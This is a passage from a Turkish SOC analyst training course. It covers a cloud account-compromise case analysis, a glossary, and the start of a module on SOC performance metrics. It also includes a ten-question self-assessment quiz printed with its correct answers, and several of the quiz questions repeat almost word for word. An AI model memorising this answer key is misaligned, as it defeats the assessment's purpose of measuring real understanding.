False positive ihtimali düşüktür. GeoIP tek başına kesin kanıt değildir; ancak kısa süreli impossible travel, Tor/VPS benzeri ASN, kullanıcının iş tanımıyla uyumsuz eDiscovery araması, VPN kaydı bulunmaması ve oturum öncesinde MFA/authentication method değişikliği birlikte değerlendirildiğinde olay yüksek riskli hâle gelir.

Yine de kesin karar için kullanıcıyla güvenli kanaldan iletişime geçilmesi, kimlik ekibiyle MFA değişikliğinin doğrulanması ve eDiscovery arama sonuçlarının export edilip edilmediğinin incelenmesi gerekir.

Escalation Gerekir mi?

Evet. Bu senaryo aşağıdaki kriterler nedeniyle IR ekibine eskalasyon gerektirir:

Muhtemel kimlik bilgisi veya oturum token’ı ele geçirilmesi.

M365 arşivinde toplu hassas içerik araması.

Hesap üzerinde MFA/authentication method değişikliği.

Kullanıcının eDiscovery yetkisinin iş tanımıyla uyumsuz görünmesi.

Potansiyel veri sızıntısı başlangıcı.

Karar

Vaka “Confirmed Suspicious — Escalate to IR” olarak işaretlenir.

Önerilen ilk aksiyonlar: analyst01 hesabının aktif oturumlarını sonlandırma, hesabı geçici olarak kısıtlama veya devre dışı bırakma, MFA yöntemlerini sıfırlama, eDiscovery arama sonuçlarının export edilip edilmediğini araştırma, kullanıcıyla güvenli kanal üzerinden iletişime geçme ve bu hesabın diğer sistemlere SSO ile erişimini gözden geçirme. Bu aksiyonlar SOC’un tek başına değil, kimlik yönetimi / IR / ilgili iş birimleriyle koordineli olarak uygulaması gereken adımlardır.

Bulgu → Etki → Öneri → Kanıt

Bulgu:
analyst01@example.com hesabıyla aynı gün iki farklı coğrafi lokasyondan başarılı oturum açılmıştır. 10:14 İstanbul oturumu bilinen IP bloğundan gelirken, 10:29 oturumu GeoIP tarafından Lagos/Nijerya olarak görünen ve ASN/reputation bağlamında Tor/VPS sağlayıcısı ile ilişkilendirilen bir IP’den gelmiştir. 10:32’de aynı kullanıcıyla M365 eDiscovery üzerinden “salary” ve “contract” anahtar kelimeleriyle toplu arama yapılmıştır. Sabah 08:47’de hesaba yeni MFA/authentication method eklenmiştir.

Etki:
Hesap büyük olasılıkla AiTM phishing, token theft veya credential compromise yöntemiyle ele geçirilmiş olabilir. Saldırgan M365 arşivindeki hassas belgelere erişmiş olabilir. MFA/authentication method değişikliği saldırganın kalıcı erişim sağlamaya çalıştığına işaret edebilir.

Öneri:

Hesabın aktif oturumlarını sonlandır.
Hesabı geçici olarak kısıtla veya devre dışı bırak (IR/kimlik yönetimi prosedürüne göre).
MFA yöntemlerini sıfırla ve yeni eklenen yöntemi doğrula.
eDiscovery arama sonuçlarının export edilip edilmediğini araştır.
Kullanıcıyla güvenli kanal üzerinden iletişime geç.
Bu hesabın SSO ile eriştiği diğer SaaS ve cloud servislerini incele.
Erişim yetkilerini gözden geçir; eDiscovery yetkisinin neden verildiğini sorgula.

Kanıt:
Entra ID Sign-in Log — 10:14 İstanbul bilinen IP, 10:29 Lagos/Nijerya olarak görünen dış IP.
M365 UAL — eDiscovery search activity, “salary” + “contract” sorgusu, yüksek sonuç sayısı.
Entra ID Audit Log — 08:47 MFA/authentication method ekleme.
VPN log — bu saatlerde kullanıcı için VPN bağlantısı yok.
Email security log — phishing/link click olup olmadığı ayrıca araştırılacak.

Terimler Sözlüğü

Terim	Türkçe Karşılığı / Açıklama
CloudTrail	AWS ortamındaki desteklenen hesap aktivitelerini, API çağrılarını ve yönetim olaylarını kaydeden merkezi audit servisi.
Control Plane	Cloud kaynaklarını oluşturma, değiştirme ve silme işlemlerinin gerçekleştiği yönetim katmanı.
Data Plane	Verinin işlendiği, okunduğu veya yazıldığı operasyonel katman.
Shared Responsibility Model	Bulut sağlayıcısı ile müşteri arasındaki güvenlik sorumluluğu paylaşım modeli.
IAM	Identity and Access Management. Cloud ortamında kimlikleri ve bunların kaynaklara erişim yetkilerini yöneten sistem.
Principal	Cloud ortamında bir eylemi gerçekleştiren kimlik: IAM user, role, service account, managed identity, service principal vb.
Managed Identity	Azure’da VM veya servisin Azure kaynakları üzerinde işlem yapabilmesi için kullanılan yönetilen kimlik.
Service Principal	Azure/Entra ortamında uygulama veya servise atanan kimlik.
Service Account	GCP veya Kubernetes gibi ortamlarda uygulama/servis kimliği.
AssumeRole	AWS’de bir kimliğin geçici olarak farklı bir IAM role üstlenmesini sağlayan STS mekanizması.
PassRole	AWS’de bir servise belirli bir IAM role’ün geçirilmesini sağlayan kritik izin.
Impossible Travel	Fiziksel olarak mümkün olmayan süre içinde iki farklı coğrafi lokasyondan yapılan kimlik doğrulaması.
MFA Fatigue	Saldırganın kurbanı çok sayıda push bildirimiyle bunaltarak MFA onayını yaptırmaya çalıştığı saldırı.
AiTM Phishing	Adversary-in-the-Middle phishing; saldırganın kullanıcı ile gerçek site arasına girerek oturum token’ını çaldığı phishing yöntemi.
Legacy Authentication	Modern güvenlik kontrollerini desteklemeyen veya zayıf destekleyen eski kimlik doğrulama protokolleri/istemci akışları.
Conditional Access	Entra ID’de oturum açma koşullarına göre erişimi kontrol eden policy mekanizması.
Access Key	AWS’de API erişimi için kullanılan uzun ömürlü kimlik bilgisi çifti.
GuardDuty	AWS’nin yönettiği, cloud-native tehdit tespit servisi.
Security Hub	AWS güvenlik servisleri ve üçüncü taraf bulgularını merkezi olarak toplayan ve ASFF formatında işleyen servis.
ASFF	AWS Security Finding Format. AWS Security Hub finding’leri için kullanılan standart JSON formatı.
GCP Audit Logs	Google Cloud aktivitelerini kaydeden audit log mekanizması; Admin Activity, Data Access, System Event ve Policy Denied türlerini içerir.
Policy Denied Log	GCP’de güvenlik politikası nedeniyle reddedilen erişimleri gösteren audit log türü.
Kubernetes Audit Log	Kubernetes API server’a gelen istekleri audit policy kapsamına göre kaydeden merkezi denetim log mekanizması.
Audit Policy	Kubernetes’te hangi API aktivitelerinin hangi detay seviyesinde loglanacağını belirleyen politika.
Privileged Container	Çok geniş yetkilerle çalışan ve container escape riskini artırabilen container.
Pod Exec	Kubernetes’te çalışan bir pod içinde interaktif komut çalıştırma işlemi; audit log’da genellikle pods/exec subresource + create verb ile görünür.
Falco	eBPF veya kernel module aracılığıyla runtime davranışlarını izleyebilen açık kaynaklı cloud-native güvenlik aracı.
Runtime Detection	Container veya process çalışırken davranışsal anomalileri tespit etme yaklaşımı.
Cloud Persistence	Saldırganın cloud ortamında kalıcı erişim sağlamak için kullandığı mekanizmalar.
SetIamPolicy	GCP’de bir kaynağın IAM politikasını değiştiren API yöntemi.
eDiscovery	M365/Purview ortamında email ve belge arşivinde yasal arama/toplama amaçlı kullanılan özellik.
Tor Exit Node	Tor ağından internete çıkan son nokta; gerçek IP’yi gizlemek için kullanılabilir.
Multi-Cloud	Birden fazla bulut sağlayıcısının aynı kurumda kullanıldığı altyapı yapısı.
SaaS Log	Microsoft 365, GitHub, Slack gibi SaaS platformlarının ürettiği aktivite ve denetim kaydı.
CSPM	Cloud Security Posture Management. Cloud konfigürasyon risklerini ve uyumsuzlukları değerlendiren yaklaşım.
CWPP	Cloud Workload Protection Platform. Cloud iş yüklerini çalışma zamanında koruma yaklaşımı.
Trust Policy	AWS IAM role’ünün hangi kimlikler tarafından üstlenilebileceğini tanımlayan politika.
TEST-NET	RFC 5737 kapsamında dokümantasyon için ayrılmış IP blokları: 192.0.2.0/24, 198.51.100.0/24, 203.0.113.0/24.

Kendini Değerlendir — Cloud SOC

Aşağıdaki 10 soru modül kazanımlarını ölçer. Her soru için en iyi cevabı seçin ve Testi Gönder düğmesine basın.

1) IaaS’te müşteri VM içi patch’leri yönetmiyor; «bulut sağlayıcı her şeyi halleder» sanılıyor. Hangi model doğru?

A) Log tutmak yasaktır

B) Sağlayıcı tüm sorumluluğu üstlenir

C) Shared responsibility — müşteri OS/uygulama katmanından sorumlu

D) Kriptografi gereksizdir

Doğru: C
Gerekçe: Bulutta sorumluluk paylaşımlıdır.

2) IaaS’te müşteri VM içi patch’leri yönetmiyor; «bulut sağlayıcı her şeyi halleder» sanılıyor. Hangi model doğru?

A) Sağlayıcı tüm sorumluluğu üstlenir

B) Shared responsibility — müşteri OS/uygulama katmanından sorumlu

C) Kriptografi gereksizdir

D) Log tutmak yasaktır

Doğru: B
Gerekçe: Bulutta sorumluluk paylaşımlıdır.

3) IaaS’te müşteri VM içi patch’leri yönetmiyor; «bulut sağlayıcı her şeyi halleder» sanılıyor. Hangi model doğru?

A) Kriptografi gereksizdir

B) Shared responsibility — müşteri OS/uygulama katmanından sorumlu

C) Log tutmak yasaktır

D) Sağlayıcı tüm sorumluluğu üstlenir

Doğru: B
Gerekçe: Bulutta sorumluluk paylaşımlıdır.

4) MTTD uzun, MTTR kısa. Bu neyi gösterir?

A) Log toplanmıyor

B) Sadece false positive var

C) Olaylar geç fark ediliyor; müdahale hızlı

D) Hiç olay yok

Doğru: C
Gerekçe: Tespit–müdahale metrikleri farklı aşamaları ölçer.

5) «CASB/SSE kavramı» uygulanmadığı için bir olayda müdahale gecikti. Ekibin öncelikli düzeltmesi ne olmalıdır?

A) Tüm logları silmek

B) CASB/SSE kavramı için tanımlı kontrolü devreye almak ve süreci dokümante etmek

C) İnterneti kalıcı kapatmak

D) Yalnızca antivirüs imzasını güncellemek

Doğru: B
Gerekçe: Eksik kalan «CASB/SSE kavramı» doğrudan hedeflenmeli; diğer seçenekler sorunu çözmez.

6) SIEM’de gece 03:00’te 4000 benzer «failed logon» alarmı geldi. İlk triyaj adımı?

A) Alarmı kalıcı bastırmak

B) Tüm kullanıcıları silmek

C) Kaynak IP, hedef hesap, zaman penceresi ve playbook ile önceliklendirme

D) SIEM’i kapatmak

Doğru: C
Gerekçe: Alarm selinde bağlam ve playbook triyajı kritiktir.

7) Bir stajyer «Geo-impossible travel» hakkında «ezberledim, uygulamaya gerek yok» dedi. En doğru yanıt?

A) Sadece sınavda sorulursa öğrenilir

B) Yalnızca yöneticiler bilir

C) Araç adı yeterlidir

D) Kavramın pratikte nasıl uygulandığını ve hangi hatayı önlediğini açıklaması gerekir

Doğru: D
Gerekçe: «Geo-impossible travel» uygulama ve risk bağlamı olmadan anlamlı değildir.

8) Bir stajyer «API key sızıntısı» hakkında «ezberledim, uygulamaya gerek yok» dedi. En doğru yanıt?

A) Araç adı yeterlidir

B) Yalnızca yöneticiler bilir

C) Kavramın pratikte nasıl uygulandığını ve hangi hatayı önlediğini açıklaması gerekir

D) Sadece sınavda sorulursa öğrenilir

Doğru: C
Gerekçe: «API key sızıntısı» uygulama ve risk bağlamı olmadan anlamlı değildir.

9) SIEM’de gece 03:00’te 4000 benzer «failed logon» alarmı geldi. İlk triyaj adımı?

A) Tüm kullanıcıları silmek

B) Alarmı kalıcı bastırmak

C) SIEM’i kapatmak

D) Kaynak IP, hedef hesap, zaman penceresi ve playbook ile önceliklendirme

Doğru: D
Gerekçe: Alarm selinde bağlam ve playbook triyajı kritiktir.

10) Bir stajyer «Cloud IR farkları» hakkında «ezberledim, uygulamaya gerek yok» dedi. En doğru yanıt?

A) Sadece sınavda sorulursa öğrenilir

B) Araç adı yeterlidir

C) Yalnızca yöneticiler bilir

D) Kavramın pratikte nasıl uygulandığını ve hangi hatayı önlediğini açıklaması gerekir

Doğru: D
Gerekçe: «Cloud IR farkları» uygulama ve risk bağlamı olmadan anlamlı değildir.

Bu Modülde Kazanılan Yetkinlikler

Cloud ortamında görünürlüğün temel ekseninin API çağrısı ve audit log olduğunu; endpoint veya ağ merkezli düşünce yapısının cloud güvenliğinde tek başına yetersiz kaldığını kavradık.
Shared responsibility modelinin SOC’a somut sorumluluk bıraktığını; konfigürasyon, kimlik, veri erişimi, workload güvenliği ve SaaS aktivitelerinin müşteri/SOC izleme kapsamını doğrudan etkilediğini anladık.
AWS CloudTrail, GuardDuty, Security Hub, Azure Activity Logs, Entra ID Sign-in Logs, GCP Audit Logs ve SaaS audit loglarının hangi alanlarının SOC analizi için kritik olduğunu öğrendik. eventName, sourceIPAddress, userIdentity, riskLevelAggregated, conditionalAccessStatus, principalEmail, methodName, policyDelta gibi alanları okuma pratiğini kazandık.
CloudTrail’in varsayılan olarak management events kaydettiğini; data events, network activity events ve Insights events gibi ek görünürlüklerin ayrıca etkinleştirme ve maliyet/hacim değerlendirmesi gerektirdiğini öğrendik.
Impossible travel, MFA fatigue, legacy/basic auth riski, AiTM phishing ve token theft gibi cloud kimlik saldırılarının log düzeyinde nasıl görüneceğini; hangi kombinasyonların gerçek tehdit sinyali taşıdığını değerlendirebildik.
Cloud IAM’da privilege escalation, access key kötüye kullanımı, service account abuse ve cloud persistence mekanizmalarının hangi audit log event’leriyle izleneceğini öğrendik. Yalnızca sinyali değil; kimlik, kaynak, IP, zaman, user agent, change kaydı ve baseline bağlamını birlikte değerlendirmenin önemini kavradık.
Kubernetes ortamında SOC’a düşen görünürlük alanını — pods/exec, privileged container, secret erişimi, ClusterRoleBinding değişiklikleri, service account manipülasyonu — audit log seviyesinde okuma becerisi kazandık. Kubernetes audit log’un audit policy kapsamına bağlı olduğunu ve saf Kubernetes API görünürlüğünün runtime process davranışını tek başına göstermediğini anladık.
Falco ve benzeri runtime detection araçlarının container içindeki process/syscall davranışlarını görünür kıldığını; bu sinyallerin SIEM’e alındığında cloud identity ve Kubernetes audit loglarıyla korele edilmesi gerektiğini öğrendik.
Endpoint, kimlik, network, email ve cloud loglarını aynı olayın farklı boyutları olarak birleştiren hibrit timeline yaklaşımını kavradık. Bir saldırının endpoint’ten cloud’a geçiş izini takip etmek için hangi pivot noktalarına ihtiyaç duyulduğunu öğrendik.
Cloud SOC’ta false positive yönetiminin en önemli zorluk noktasının otomasyon hesapları, CI/CD pipeline’ları ve rutin yönetici işlemleri olduğunu; bu gürültüyü azaltmak için dar kapsamlı allowlist, baseline ve iş bağlamının kritik olduğunu anladık.

Modül Teması

Metrikler

MTTD, MTTR, kapsam, kalite.

Raporlama

Operasyonel ve yönetsel raporlar.

Sürekli İyileştirme

Use case yaşam döngüsü ve olgunluk.

Bir SOC’un teknik gücü yalnızca tespit ettiği tehditlerle değil; bu tehditleri ne kadar sürede fark ettiğiyle, alarmları ne kalitede işlediğiyle, performansını ne netlikte raporlayabildiğiyle ve operasyon süreçlerini ne kadar sistematik yönettiğiyle ölçülür. Bu modül, SOC’u “yönetilebilir” bir operasyon merkezi hâline getiren ölçüm, raporlama, yönetişim ve iyileştirme boyutlarını ele alır.

Temel eğitimde MTTD, MTTR ve MTTA gibi kavramlar isim düzeyinde tanıtılmıştı. Bu modülde bu metriklerin nasıl doğru hesaplanacağı, hangi yorumlama tuzaklarına düşüldüğü ve SOC operasyonunu nasıl yönlendirdiği operasyonel bakışla işlenecek. Metrikler yalnızca rapor yazmak için değil; alarm kalitesi, analist kapasitesi, detection coverage, queue sağlığı ve sürekli iyileştirme kararları için kullanılacaktır. Microsoft Sentinel’in SOC metrikleri yaklaşımı da severity, MITRE taktikleri, mean time to triage ve mean time to resolve gibi göstergelerin SOC yönetiminde kullanılabileceğini gösterir.

Modül aynı zamanda detection içerik yaşam döngüsünü yönetme, SOC yönetişim standartlarını oluşturma, KVKK ve GDPR gibi regülasyon farkındalığını SOC bağlamında değerlendirme ve SOC’un reactive seviyeden intelligence-driven seviyeye nasıl taşınacağını kapsayacak. Eğitim boyunca işlenen tüm operasyonel becerilerin kurumsal süreklilik ve ölçülebilir gelişime nasıl bağlandığı bu modülde netlik kazanacak.

Öğrenci bu modülün sonunda SOC’u hem teknik hem de yönetimsel boyutuyla değerlendirebilecek, metrikleri yalnızca raporlamak için değil operasyonu yönlendirmek için kullanabilecek seviyeye gelecektir.

Bu Modülde Hedeflenen Kazanımlar

Öğrenci bu modül sonunda:

MTTD, MTTR, MTTA, false positive rate, true positive closure rate / alert yield ve detection coverage gibi temel SOC metriklerini nasıl hesaplayacağını, yorumlayacağını ve operasyonel karar almada nasıl kullanacağını açıklayabilecek.
Queue health, analyst workload ve burnout metriklerini izleyerek SOC sürdürülebilirliğini değerlendirebilecek ve kapasite risklerini önceden fark edebilecek.
Teknik ekipler ve üst yönetim için farklı içerik ve yapıda SOC raporu hazırlayabilecek; dashboard’da doğru göstergelerin neden seçilmesi gerektiğini gerekçelendirebilecek.
Detection inventory, rule review cadence, changelog ve versioning uygulamalarını kullanarak detection içerik kalitesini ve yaşam döngüsünü yönetebilecek.
Purple team çıktılarını ve lessons learned bulgularını somut detection iyileştirmesine ve playbook güncellemesine dönüştürebilecek.
SOC politika ve prosedürlerini, SLA tanımlarını, vardiya devir teslim disiplinini, audit trail’i ve minimum yetki prensibini yönetişim çerçevesinde değerlendirebilecek.
KVKK, GDPR ve USOM/SOME gibi regülasyon ve ulusal yapıların SOC operasyonuna getirdiği farkındalık yükümlülüklerini tanımlayabilecek.
Monitor → Detect → Analyze → Escalate → Improve döngüsü üzerinden gap analysis, maturity değerlendirmesi ve SOC roadmap geliştirme mantığını uygulayabilecek.
AI destekli SOC iyileştirme alanlarını ve bu araçların sınırlarını gerçekçi bir operasyonel bakışla değerlendirebilecek.

8.1 SOC Performansını Ölçmek İçin Kullanılan Metrikler

8.1.1 Tespit Süresini Ölçme: MTTD

Mean Time to Detect (MTTD), bir tehdidin veya şüpheli aktivitenin ortamda gerçekleşmesiyle SOC tarafından fark edilmesi arasında geçen ortalama süredir. Bu metrik SOC’un “ne kadar hızlı görüyor?” sorusunu yanıtlar; ancak neyin başlangıç noktası olarak kabul edileceği çok önemlidir. Saldırı aktivitesinin ilk gerçekleştiği an mı, ilk log kaydının düştüğü an mı, detection kuralının yakaladığı ilk event zamanı mı, yoksa alert’in üretildiği an mı?

Bu ayrım yapılmadan hesaplanan MTTD yanıltıcı olabilir. Örneğin bir saldırgan gece 02:00’de aktivite başlatmış, ancak detection kuralı sabah 08:00’de çalışmışsa MTTD saatlerce yüksek görünebilir. Teknik olarak kural çalışmış olsa bile detection pipeline gecikmeli çalışmıştır. Bu nedenle MTTD yalnızca bir sayı değil; veri toplama, ingestion delay, detection kuralı zamanlaması, alert üretim gecikmesi ve analist queue süreci gibi katmanların tamamına ışık tutan bir göstergedir.

Microsoft Sentinel’de SecurityAlert tablosunda StartTime, alert’in etkisinin başladığı zamanı veya scheduled analytic rule için sorgunun yakaladığı ilk event zamanını temsil edebilir; TimeGenerated ise alert kaydının oluştuğu zamandır. Bu nedenle StartTime ile TimeGenerated arasındaki fark, çoğu durumda gerçek MTTD değil, yaklaşık alert generation delay / detection delay göstergesi olarak yorumlanmalıdır.

SOC Perspektifi: MTTD’yi düşürmenin en etkili yolu daha fazla alarm üretmek değildir. Doğru veri kaynağına sahip olmak, log ingestion gecikmesini azaltmak, detection kuralını doğru zaman penceresiyle çalıştırmak ve alarm kalitesini yükseltmek daha değerlidir. Yüksek false positive oranı olan bir ortamda MTTD iyi görünse bile gerçek tehditler gürültüde kaybolabilir.

8.1.2 Müdahale Süresini Ölçme: MTTR

Mean Time to Respond (MTTR), tespitten sonra ilgili aksiyonun tamamlanmasına kadar geçen ortalama süre olarak kullanılır. Ancak bu metrik kurumdan kuruma farklı anlamlara gelebilir. Bazı kurumlarda MTTR “Mean Time to Respond”, bazılarında “Mean Time to Resolve” veya “Mean Time to Remediate” anlamında kullanılır.

Bu nedenle MTTR raporlanırken bitiş noktası mutlaka açıkça tanımlanmalıdır. SOC bağlamında MTTR; vakanın IR ekibine devredilmesi, containment önerisinin tamamlanması veya vakanın kapatılması anlamına gelebilir. IR bağlamında ise eradication, recovery veya tam olay çözümü anlamına gelebilir.

Bu ayrım yönetim raporlarında netleştirilmezse yanlış performans algısı oluşur. Örneğin SOC 2 saat içinde doğru handoff paketi hazırlayıp IR ekibine devretmiş olabilir; ancak IR ekibi olay üzerinde 48 saat çalışmış olabilir. Bu durumda SOC’un handoff süresi iyidir, fakat olayın toplam çözüm süresi uzundur.

MTTR şu alt başlıklarla ayrıştırılabilir:

Metrik	Başlangıç	Bitiş	Kullanım Amacı
SOC Time to Handoff	Incident oluşturuldu / alarm doğrulandı	IR’a eksiksiz handoff yapıldı	SOC devir kalitesi ve hızı
Time to Containment	Tehdit doğrulandı	İzolasyon / hesap devre dışı / bloklama tamamlandı	Yayılımı durdurma hızı
Time to Closure	Incident oluşturuldu	Vaka kapandı	Case lifecycle ölçümü
Full IR Resolution Time	İlk tespit	Eradication / recovery tamamlandı	Olayın tam çözüm süresi

Analist Yorumu: MTTR tek bir sayı olarak değil, kurumun hangi aksiyonu ölçmek istediğine göre yorumlanmalıdır. “MTTR 4 saat” ifadesi, “neye göre 4 saat?” sorusu yanıtlanmadıkça eksiktir.

8.1.3 Alarm Sahiplenme Süresini Ölçme: MTTA

Mean Time to Acknowledge (MTTA), bir alarmın veya incident’in kuyruğa girmesiyle bir analist tarafından sahiplenilmesi arasında geçen ortalama süredir. MTTD ve MTTR’ye kıyasla daha az konuşulan bu metrik, aslında queue yönetimi ve analist kapasitesi açısından kritik bir göstergedir.

MTTA yüksekse bunun birkaç olası nedeni vardır: analist sayısı yetersizdir, alarm kuyruğu gereğinden fazla dolmuştur, triaj sırası iyi tanımlanmamıştır, vardiya devri sorunludur veya alert enrichment yeterli olmadığı için analistler hangi alarmın öncelikli olduğunu anlayamıyordur.

MTTA hesaplanırken platformun hangi alanı “sahiplenme” olarak temsil ettiği netleştirilmelidir. Microsoft Sentinel’de incident metrikleri çoğu zaman CreatedTime, FirstModifiedTime, ClosedTime, Owner, Status gibi alanlar üzerinden hesaplanır. Sentinel’in incident metrikleri yaklaşımında SecurityIncident tablosu ve Security Operations Efficiency workbook’u mean time to triage / resolve gibi göstergeler için kullanılabilir.

MTTA için kurum şu tanımlardan birini seçebilir:

Yaklaşım	Açıklama
Incident Created → First Modified	İlk analist dokunuşu sahiplenme kabul edilir.
Incident Created → Owner Assigned	Owner atandığında sahiplenildi kabul edilir.
Incident Created → Status Active	Status değişimi sahiplenme kabul edilir.
Alert Generated → Analyst Acknowledged	Platformda ayrı acknowledge alanı varsa doğrudan kullanılır.

SOC Perspektifi: High severity bir alarm sahiplenilmeden 45 dakika kuyrukta bekliyorsa bu, SOC’un algılayabildiği bir tehdide zamanında tepki veremediği anlamına gelir. SLA tanımları MTTA etrafında şekillendirildiğinde SOC’un tepki refleksini ölçmek daha gerçekçi hâle gelir.

8.1.4 False Positive Rate ile Yanlış Alarm Oranını Takip Etme

False positive rate, belirli bir zaman diliminde üretilen alarmların yanlış pozitif olarak kapananlarının oranıdır. Bu oran hem detection kalitesinin hem de analist yükünün doğrudan göstergesidir.

Yüksek false positive oranı birden fazla sorunu aynı anda işaret edebilir: detection kuralları yeterince tune edilmemiş olabilir, veri normalizasyonu eksik olabilir, ortamdaki otomasyon hesapları veya CI/CD pipeline’ları kurallar tarafından dikkate alınmamış olabilir ya da analistlerin alarm bağlamı eksik olduğu için yorum yapması zorlaşmış olabilir. Yalnız bu metriği düşürmek için tüm alarmları otomatik kapatmak çözüm değildir; false positive rate düşürülürken false negative riski artırılabilir.

False positive rate hesaplanırken benign true positive / expected activity ile gerçek false positive ayrılmalıdır. Kural teknik olarak doğru davranışı yakalıyor ama davranış kurum tarafından onaylıysa bu olay false positive değil, kurum taksonomisine göre benign positive, benign true positive veya expected activity olarak kapatılmalıdır. Microsoft Sentinel incident kapanış sınıflandırmaları da True Positive, Benign Positive, False Positive ve Undetermined gibi ayrımlar içerir.

İpucu: Rule bazlı false positive oranını takip etmek, hangi kuralın düzeltilmesi gerektiğini hızla gösterir. SIEM’deki her kuralın “closed as false positive”, “benign positive” ve “true positive” sayısı düzenli olarak raporlanabiliyorsa detection backlog önceliklendirmesi çok daha veriye dayalı yapılabilir.

8.1.5 True Positive Closure Rate / Alert Yield ile Gerçek Güvenlik Değeri Üreten Alarm Oranını Takip Etme

Modüllerde sıkça “true positive rate” ifadesi kullanılır; ancak bu ifade istatistiksel bağlamda sensitivity / recall anlamına da gelebilir. SOC raporlamasında daha net ifade “True Positive Closure Rate” veya “Alert Yield” olabilir. Bu metrik, üretilen ve kapanışı yapılan alarmlar içinde true positive olarak sınıflandırılanların oranını gösterir.

Bu oran SOC’un “ne kadar alarm ürettiğini” değil, “ürettiği alarmların ne kadarının güvenlik değeri taşıdığını” gösterir. Düşük alarm hacmiyle yüksek alert yield, yüksek alarm hacmiyle düşük alert yield’den çoğu zaman daha sağlıklı bir SOC tablosudur.

Ancak bu metrik false negative’leri hesaba katmaz. Yani true positive closure rate yüksek diye kurumun tüm gerçek tehditleri yakaladığı sonucu çıkarılamaz. Zor ama kritik tehdit kategorileri coverage dışında bırakılırsa bu oran iyi görünür ama detection gap gizlenir.

Dikkat: Alert yield’i artırmak için yalnızca kolay yakalanabilir senaryolara odaklanmak seçim sapması yaratır. Kritik ama zor tespit edilen Credential Access, Lateral Movement, Cloud Persistence veya SaaS data exfiltration senaryoları dışarıda bırakılırsa SOC’un metrikleri iyi görünür, fakat risk gerçekte artar.

8.1.6 Detection Coverage ile Tespit Kapsamasını Ölçme

Detection coverage, kurumun hangi tehdit tekniklerine, veri kaynaklarına ve olay ailelerine karşı görünürlük ve tespit kapasitesine sahip olduğunu gösteren ölçümdür. Bu metrik çoğunlukla MITRE ATT&CK teknikleriyle eşleştirilir; ancak yalnızca “kural var mı?” sorusu yeterli değildir.

MITRE ATT&CK gerçek dünya gözlemlerine dayalı saldırgan taktik ve tekniklerini içeren bir bilgi tabanıdır; ATT&CK Navigator ise ATT&CK matrislerini açıklamak, keşfetmek, defensive coverage ve red/blue team planlama için kullanılabilir.

Coverage en az üç seviyede düşünülmelidir:

Coverage Seviyesi	Soru	Örnek
Log Coverage	Bu tekniği görebilecek veri kaynağı var mı?	Sysmon Event ID 1 toplanıyor mu?
Detection Coverage	Bu veri üzerinde çalışan kural var mı?	Suspicious PowerShell kuralı var mı?
Operational Coverage	Kural test edildi mi, playbook var mı, analist ne yapacağını biliyor mu?	Alarm geldiğinde L1 neye bakacak?

Coverage değerlendirmesi kurumun tehdit profiliyle birleştirildiğinde anlam kazanır. Finans sektöründe faaliyet gösteren bir kurum için Lateral Movement ve Credential Access tekniklerine coverage sağlamak, başka bir kurum için farklı öncelikte olabilir. ATT&CK Navigator bu görselleştirme için pratik bir araçtır; ancak çıktı yönetimle paylaşılacaksa sektör, teknoloji yığını ve tehdit profili bağlamı eklenerek sunulmalıdır.

8.1.7 Queue Health ile Alarm Kuyruğunun Sağlığını İzleme

Queue health, bekleyen alarm sayısını, açık vakaların yaşını, SLA ihlali oranını, priority dağılımını ve analist başına düşen iş yükünü birlikte değerlendiren gösterge setidir. Tek bir metrik değildir; birkaç sayının birlikte yorumlanmasıdır.

Kuyruğun sağlıksız olduğunun işaretleri şunlardır:

Bazı alarmlar uzun süredir sahiplenilmemiştir.
High veya kritik kabul edilen alarmların MTTA SLA’sı tutarlı olarak aşılmaktadır.
Açık vaka yaşı düzenli olarak artmaktadır.
“Insufficient data” ile kapanan vaka oranı yükselmektedir.
Aynı kuraldan gelen alarmlar kuyruğu sürekli şişirmektedir.
Vardiya değişimlerinde kritik vakalar beklemede kalmaktadır.

Queue health, alert queue ve incident queue olarak ayrı ayrı ölçülmelidir. Microsoft Sentinel’de SecurityAlert tablosu alert kayıtlarını, SecurityIncident tablosu ise incident yönetim yaşam döngüsünü izlemek için daha uygundur. SecurityIncident tablosu incident güncellendikçe yeni kayıt üretebildiği için sorgularda genellikle arg_max(TimeGenerated, *) by IncidentNumber ile en güncel kayıt seçilmelidir.

Dikkat: Queue’yu temizlemek için alarm kapama hızını artırmak, kalite problemini maskeleyebilir. Hızla kapanan ama yetersiz incelenen alarmlar uzun vadede false negative riskini yükseltir. Queue health, yalnızca tempo değil kalite odaklı yorumlanmalıdır.

8.1.8 Analyst Workload ile Analist İş Yükünü Değerlendirme

Analist iş yükü; kişi başına düşen günlük alarm sayısı, haftalık investigation süresi, vardiya başına ortalama kapatılan vaka sayısı, açık vaka sayısı ve alarm başına harcanan ortalama süre gibi göstergelerle ölçülür. Bu metrikler hem kapasiteyi hem de kaliteyi etkileyen faktörlerdir.

Örneğin 8 saatlik vardiyada bir analistin 200 alarm triaj etmesi; toplantı, vardiya devri, vaka notu ve ek araştırma süreleri çıkarıldığında alarm başına yalnızca birkaç dakikalık analiz süresi bırakabilir. Bu süre anlamlı bir triaj için çoğu durumda yeterli değildir. Bu örnek her kurum için sabit bir eşik değildir; otomasyon düzeyi, alarm kalitesi, enrichment durumu ve L1/L2 ayrımı bu hesabı değiştirir.

Analist başına alarm hacminin sürdürülebilir bir aralıkta tutulması SOC Lead’in öncelikli yönetim sorumluluklarından biridir. Bu oran yönetim raporlarında yalnızca “alarm sayısı” olarak değil, “analist başına düşen iş yükü” olarak sunulduğunda kapasite yatırımı kararları daha iyi gerekçelendirilebilir.

8.1.9 Burnout Metrics ile Sürdürülebilir SOC Operasyonunu İzleme

SOC analist devir hızı, hastalık izni sıklığı, mesai saati dışı çalışma oranı, gece vardiyası yoğunluğu, alarm yorgunluğu anketleri ve iş doyum göstergeleri burnout’u erken sinyalleyebilir. Bu metrikler çoğu zaman SOC raporlarında yer almaz; ancak uzun vadede en yıkıcı operasyonel risklerden birini temsil eder.

Deneyimli bir analistin kurumdan ayrılması; işe alım maliyeti, eğitim süreci ve kurum bağlamının yeniden kazanılması açısından büyük bir kayıptır. Burnout’u önlemenin yolu yalnızca personel artırmak değildir. Alarm kalitesini iyileştirmek, false positive oranını azaltmak, vardiya döngüsünü sürdürülebilir tutmak, analistlerin monoton triaj görevlerinin yanı sıra hunting, detection engineering veya vaka kalite analizi gibi daha geliştirici işler yapmasını sağlamak da etkilidir.

Burnout metrikleri izlenirken çalışan mahremiyeti ve kişisel veri hassasiyeti korunmalıdır. Yönetim raporlarında bireysel isimler yerine ekip seviyesi, anonimleştirilmiş veya agregat göstergeler kullanılmalıdır.

